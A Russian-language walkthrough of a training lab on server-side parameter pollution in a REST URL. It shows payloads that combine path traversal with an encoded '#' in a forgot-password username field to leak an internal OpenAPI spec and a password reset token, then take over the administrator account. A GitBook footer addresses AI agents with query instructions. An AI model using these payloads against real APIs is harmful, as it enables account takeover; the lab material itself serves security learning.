> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# Загрязнение параметров на стороне сервера в REST-URL

### Эксплуатация загрязнения параметров на стороне сервера в REST-URL

**Цель лабораторной работы**/ Войдите как администратор\*\* и удалите пользователя**carlos**.

#### 1. Функция « Забыли пароль »

Вы открываете функцию «Забыли пароль» и вводите имя пользователя **administrator**.

<figure><img src="/files/4d81c079fb9d760244ec4a0be46b0e730bfdca59" alt=""><figcaption></figcaption></figure>

Запрос, отправляемый на сервер, выглядит следующим образом:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

Полученный ответ:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="/files/c8805bd35b6c08eb0816309e91d2ea8fe935e336" alt=""><figcaption></figcaption></figure>

#### 2. Анализ клиентского JavaScript-кода

Код JavaScript показывает, что `username` значение отправляется как есть в запросе, без дополнительной проверки на сервере.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Неверное имя пользователя";
                }
                else
                {
                    forgotPasswordError.textContent = `Проверьте свою почту: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Неверное имя пользователя";
            });
    } catch (error) {
        console.error("Непредвиденная ошибка:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Это означает, что значение можно интерпретировать как часть пути внутреннего API бэкенда.

#### 3. Попытки загрязнить `username` параметра

* Добавлен `#` в конце параметра:

```bash
&username=administrator#
```

Ответ:

```json
{
  "type": "error",
  "result": "Неверный маршрут. Пожалуйста, обратитесь к определению API"
}
```

* Попытка обхода путей:

```bash
&username=../../../../administrator
```

Ответ: ошибка Not Found от сервера API.

{% code overflow="wrap" %}

```json
{
  "error": "Unexpected response from API server:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>Not Found<//title>/n<//head>/n<body>/n    <h1>Не найдено<//h1>/n    <p>Запрошенный вами URL не был найден.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="/files/8b01adc948a265452053101696fb73fda8405f52" alt=""><figcaption></figcaption></figure>

#### 4. Обнаружение документации OpenAPI

Объединение обхода каталогов и `#` символ:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

Он возвращает `openapi.json` с большим размером ответа.

<figure><img src="/files/f421ac3d0eaf2a709b036d0f17c7cec361ebb3e2" alt=""><figcaption></figcaption></figure>

* Сообщение об ошибке:

```json
{
  "error": "Unexpected response from API server:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"Пользовательский API/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"Найти пользователя по имени пользователя/",/n        /"description/": /"Версия API 1/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"Имя пользователя/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="/files/aa5f387aa08e2a7d196e38ac789ee83b3d46abbc" alt=""><figcaption></figcaption></figure>

Сервер возвращает ошибку, содержащую **OpenAPI** документацию, раскрывая доступные внутренние маршруты, включая:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. Эксплуатация внутреннего API

У `username` параметр корректируется для прямого обращения к API:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "Эта версия API по соображениям безопасности поддерживает только поле email"
}
```

<figure><img src="/files/4e1d2e35583f8b73d6121c8a65e31f4f6495b474" alt=""><figcaption></figcaption></figure>

Подходящий ответ с email администратора.

```bash
&username=administrator/field/email%23
```

<figure><img src="/files/dc0abfdc037c946381cfb0e12ba78ed694d2a9f2" alt=""><figcaption></figcaption></figure>

#### 6. Восстановление токена сброса

```bash
../../v1/users/administrator
```

<figure><img src="/files/50a57459cce42090670c9a705d36410525f86dc6" alt=""><figcaption></figcaption></figure>

Проверка других полей, раскрываемых API:

<figure><img src="/files/17683629d7eb913002fbe315b19345c6a810a400" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

Ответ:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="/files/2b516fe204935d13a6f5c45b35380dd98aad1046" alt=""><figcaption></figcaption></figure>

#### 7. Сброс пароля администратора

Восстановленный токен используется для доступа к странице сброса:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

Это позволяет установить новый пароль для **administrator**, затем подключиться и удалить пользователя **carlos**.

<figure><img src="/files/c25c15bacffb3cb95fc68b387e5505163e0584c2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
